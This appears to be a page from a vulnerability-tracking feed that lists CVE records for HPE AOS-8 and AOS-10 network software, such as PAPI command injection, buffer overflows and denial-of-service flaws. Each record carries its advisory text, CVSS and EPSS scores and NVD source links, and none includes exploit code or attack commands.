There is a command injection vulnerability in the PAPI protocol of AOS-10 that could lead to unauthenticated remote code execution by an adjacent attacker sending specially crafted packets. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A buffer overflow vulnerability in the PAPI protocol of HPE Networking AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information.
https://kevwire.com/record/CVE-2026-79883
A buffer overflow vulnerability in the PAPI protocol of HPE Networking AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information. (Oct 22, 2026).
A buffer overflow vulnerability in the PAPI protocol of HPE Networking AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by AOS-10, and to interrupt the normal operation of the affected service.
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79883).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79883&date=2026-10-25).
Sources:
NVD CVE-2026-79883: https://nvd.nist.gov/vuln/detail/CVE-2026-79883
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79883&date=2026-10-25
A buffer overflow vulnerability in the PAPI protocol of HPE Networking AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by AOS-10, and to interrupt the normal operation of the affected service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the web-based management interface of AOS-8 could allow an unauthenticated adjacent attacker to bypass existing authentication controls and access sensitive...
https://kevwire.com/record/CVE-2026-79884
A vulnerability in the web-based management interface of AOS-8 could allow an unauthenticated adjacent attacker to bypass existing authentication controls and access sensitive... (Oct 22, 2026).
A vulnerability in the web-based management interface of AOS-8 could allow an unauthenticated adjacent attacker to bypass existing authentication controls and access sensitive information. Successful exploitation could allow an attacker to gain access to some data in a cleartext format possibly exposing other network infrastructure to further compromise.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79884).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79884&date=2026-10-25).
Sources:
NVD CVE-2026-79884: https://nvd.nist.gov/vuln/detail/CVE-2026-79884
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79884&date=2026-10-25
A vulnerability in the web-based management interface of AOS-8 could allow an unauthenticated adjacent attacker to bypass existing authentication controls and access sensitive information. Successful exploitation could allow an attacker to gain access to some data in a cleartext format possibly exposing other network infrastructure to further compromise.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unauthenticated file write vulnerability exists in the PAPI protocol in AOS-8.
https://kevwire.com/record/CVE-2026-79885
An unauthenticated file write vulnerability exists in the PAPI protocol in AOS-8. (Oct 22, 2026).
An unauthenticated file write vulnerability exists in the PAPI protocol in AOS-8. Successful exploitation could allow an unauthenticated remote attacker to make limited modifications to files on the affected system and to disrupt the availability of the affected service.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79885).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79885&date=2026-10-25).
Sources:
NVD CVE-2026-79885: https://nvd.nist.gov/vuln/detail/CVE-2026-79885
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79885&date=2026-10-25
An unauthenticated file write vulnerability exists in the PAPI protocol in AOS-8. Successful exploitation could allow an unauthenticated remote attacker to make limited modifications to files on the affected system and to disrupt the availability of the affected service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unauthenticated buffer overflow vulnerability exists in the PAPI protocol of AOS-8.
https://kevwire.com/record/CVE-2026-79886
An unauthenticated buffer overflow vulnerability exists in the PAPI protocol of AOS-8. (Oct 22, 2026).
An unauthenticated buffer overflow vulnerability exists in the PAPI protocol of AOS-8. Successful exploitation could allow an unauthenticated remote attacker to disrupt the availability of the affected service on the controller, with a limited impact to its integrity.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79886).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79886&date=2026-10-25).
Sources:
NVD CVE-2026-79886: https://nvd.nist.gov/vuln/detail/CVE-2026-79886
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79886&date=2026-10-25
An unauthenticated buffer overflow vulnerability exists in the PAPI protocol of AOS-8. Successful exploitation could allow an unauthenticated remote attacker to disrupt the availability of the affected service on the controller, with a limited impact to its integrity.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the web interface of AOS-8 could allow an unauthenticated remote attacker to achieve remote code execution.
https://kevwire.com/record/CVE-2026-79887
A vulnerability in the web interface of AOS-8 could allow an unauthenticated remote attacker to achieve remote code execution. (Oct 22, 2026).
A vulnerability in the web interface of AOS-8 could allow an unauthenticated remote attacker to achieve remote code execution. Successful exploitation could lead to complete device control, enabling interception of network traffic and potential compromise of connected systems.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79887).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79887&date=2026-10-25).
Sources:
NVD CVE-2026-79887: https://nvd.nist.gov/vuln/detail/CVE-2026-79887
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79887&date=2026-10-25
A vulnerability in the web interface of AOS-8 could allow an unauthenticated remote attacker to achieve remote code execution. Successful exploitation could lead to complete device control, enabling interception of network traffic and potential compromise of connected systems.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in a certain web interface endpoint of AOS-8 devices could allow an unauthenticated remote attacker to trigger a buffer overflow.
https://kevwire.com/record/CVE-2026-79888
A vulnerability in a certain web interface endpoint of AOS-8 devices could allow an unauthenticated remote attacker to trigger a buffer overflow. (Oct 22, 2026).
A vulnerability in a certain web interface endpoint of AOS-8 devices could allow an unauthenticated remote attacker to trigger a buffer overflow. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system, leading to complete system compromise.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79888).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79888&date=2026-10-25).
Sources:
NVD CVE-2026-79888: https://nvd.nist.gov/vuln/detail/CVE-2026-79888
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79888&date=2026-10-25
A vulnerability in a certain web interface endpoint of AOS-8 devices could allow an unauthenticated remote attacker to trigger a buffer overflow. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system, leading to complete system compromise.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerabilities in multiple web interface endpoints of AOS-8 devices could allow an unauthenticated remote attacker to trigger a buffer overflow by using specially crafted...
https://kevwire.com/record/CVE-2026-79889
Vulnerabilities in multiple web interface endpoints of AOS-8 devices could allow an unauthenticated remote attacker to trigger a buffer overflow by using specially crafted... (Oct 22, 2026).
Vulnerabilities in multiple web interface endpoints of AOS-8 devices could allow an unauthenticated remote attacker to trigger a buffer overflow by using specially crafted requests. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system, leading to complete system compromise.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79889).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79889&date=2026-10-25).
Sources:
NVD CVE-2026-79889: https://nvd.nist.gov/vuln/detail/CVE-2026-79889
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79889&date=2026-10-25
Vulnerabilities in multiple web interface endpoints of AOS-8 devices could allow an unauthenticated remote attacker to trigger a buffer overflow by using specially crafted requests. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system, leading to complete system compromise.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### There are command injection vulnerabilities in AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted PAPI packets.
https://kevwire.com/record/CVE-2026-79890
There are command injection vulnerabilities in AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted PAPI packets. (Oct 22, 2026).
There are command injection vulnerabilities in AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted PAPI packets. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79890).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79890&date=2026-10-25).
Sources:
NVD CVE-2026-79890: https://nvd.nist.gov/vuln/detail/CVE-2026-79890
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79890&date=2026-10-25
There are command injection vulnerabilities in AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted PAPI packets. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A buffer overflow vulnerability exists in the command line interface of AOS-8 that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host...
https://kevwire.com/record/CVE-2026-79891
A buffer overflow vulnerability exists in the command line interface of AOS-8 that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host... (Oct 22, 2026).
A buffer overflow vulnerability exists in the command line interface of AOS-8 that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system leading to complete system compromise.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79891).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79891&date=2026-10-25).
Sources:
NVD CVE-2026-79891: https://nvd.nist.gov/vuln/detail/CVE-2026-79891
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79891&date=2026-10-25
A buffer overflow vulnerability exists in the command line interface of AOS-8 that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system leading to complete system compromise.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A memory corruption vulnerability exists in AOS-8 that could allow an authenticated local attacker to execute arbitrary code.
https://kevwire.com/record/CVE-2026-79892
A memory corruption vulnerability exists in AOS-8 that could allow an authenticated local attacker to execute arbitrary code. (Oct 22, 2026).
A memory corruption vulnerability exists in AOS-8 that could allow an authenticated local attacker to execute arbitrary code. Successful exploitation could allow the attacker to execute arbitrary code as a privileged user on the underlying operating system.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79892).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79892&date=2026-10-25).
Sources:
NVD CVE-2026-79892: https://nvd.nist.gov/vuln/detail/CVE-2026-79892
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79892&date=2026-10-25
A memory corruption vulnerability exists in AOS-8 that could allow an authenticated local attacker to execute arbitrary code. Successful exploitation could allow the attacker to execute arbitrary code as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption vulnerabilities in AOS-10 could allow an unauthenticated remote attacker to conduct a denial of service attack.
https://kevwire.com/record/CVE-2026-79893
Memory corruption vulnerabilities in AOS-10 could allow an unauthenticated remote attacker to conduct a denial of service attack. (Oct 22, 2026).
Memory corruption vulnerabilities in AOS-10 could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected service.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79893).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79893&date=2026-10-25).
Sources:
NVD CVE-2026-79893: https://nvd.nist.gov/vuln/detail/CVE-2026-79893
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79893&date=2026-10-25
Memory corruption vulnerabilities in AOS-10 could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unauthenticated Denial-of-Service (DoS) vulnerability exists in the PAPI protocol of AOS-8.
https://kevwire.com/record/CVE-2026-79894
An unauthenticated Denial-of-Service (DoS) vulnerability exists in the PAPI protocol of AOS-8. (Oct 22, 2026).
An unauthenticated Denial-of-Service (DoS) vulnerability exists in the PAPI protocol of AOS-8. Successful exploitation of this vulnerability results in the ability to disrupt the availability of the affected interface.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79894).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79894&date=2026-10-25).
Sources:
NVD CVE-2026-79894: https://nvd.nist.gov/vuln/detail/CVE-2026-79894
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79894&date=2026-10-25
An unauthenticated Denial-of-Service (DoS) vulnerability exists in the PAPI protocol of AOS-8. Successful exploitation of this vulnerability results in the ability to disrupt the availability of the affected interface.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to conduct a denial of service attack.
https://kevwire.com/record/CVE-2026-79895
Vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to conduct a denial of service attack. (Oct 22, 2026).
Vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected interface.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79895).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79895&date=2026-10-25).
Sources:
NVD CVE-2026-79895: https://nvd.nist.gov/vuln/detail/CVE-2026-79895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79895&date=2026-10-25
Vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected interface.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unauthenticated memory corruption vulnerability exists in a service accessed via the PAPI protocol in AOS-8 that could allow an unauthenticated remote attacker to conduct a...
https://kevwire.com/record/CVE-2026-79955
An unauthenticated memory corruption vulnerability exists in a service accessed via the PAPI protocol in AOS-8 that could allow an unauthenticated remote attacker to conduct a... (Oct 22, 2026).
An unauthenticated memory corruption vulnerability exists in a service accessed via the PAPI protocol in AOS-8 that could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected service.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79955).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79955&date=2026-10-25).
Sources:
NVD CVE-2026-79955: https://nvd.nist.gov/vuln/detail/CVE-2026-79955
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79955&date=2026-10-25
An unauthenticated memory corruption vulnerability exists in a service accessed via the PAPI protocol in AOS-8 that could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the CLI command handling of the AOS-8 web interface could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating...
https://kevwire.com/record/CVE-2026-79956
A vulnerability in the CLI command handling of the AOS-8 web interface could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating... (Oct 22, 2026).
A vulnerability in the CLI command handling of the AOS-8 web interface could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system. Successful exploitation could allow an attacker to run unauthorized commands on the system, potentially leading to system compromise.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79956).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79956&date=2026-10-25).
Sources:
NVD CVE-2026-79956: https://nvd.nist.gov/vuln/detail/CVE-2026-79956
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79956&date=2026-10-25
A vulnerability in the CLI command handling of the AOS-8 web interface could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system. Successful exploitation could allow an attacker to run unauthorized commands on the system, potentially leading to system compromise.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the web-based management interface of wireless network management systems could allow an authenticated remote attacker to execute remote code.
https://kevwire.com/record/CVE-2026-95704
A vulnerability in the web-based management interface of wireless network management systems could allow an authenticated remote attacker to execute remote code. (Oct 22, 2026).
A vulnerability in the web-based management interface of wireless network management systems could allow an authenticated remote attacker to execute remote code. Successful exploitation could enable an attacker to execute arbitrary commands on the underlying operating system, potentially compromising system integrity and data security.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95704).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95704&date=2026-10-25).
Sources:
NVD CVE-2026-95704: https://nvd.nist.gov/vuln/detail/CVE-2026-95704
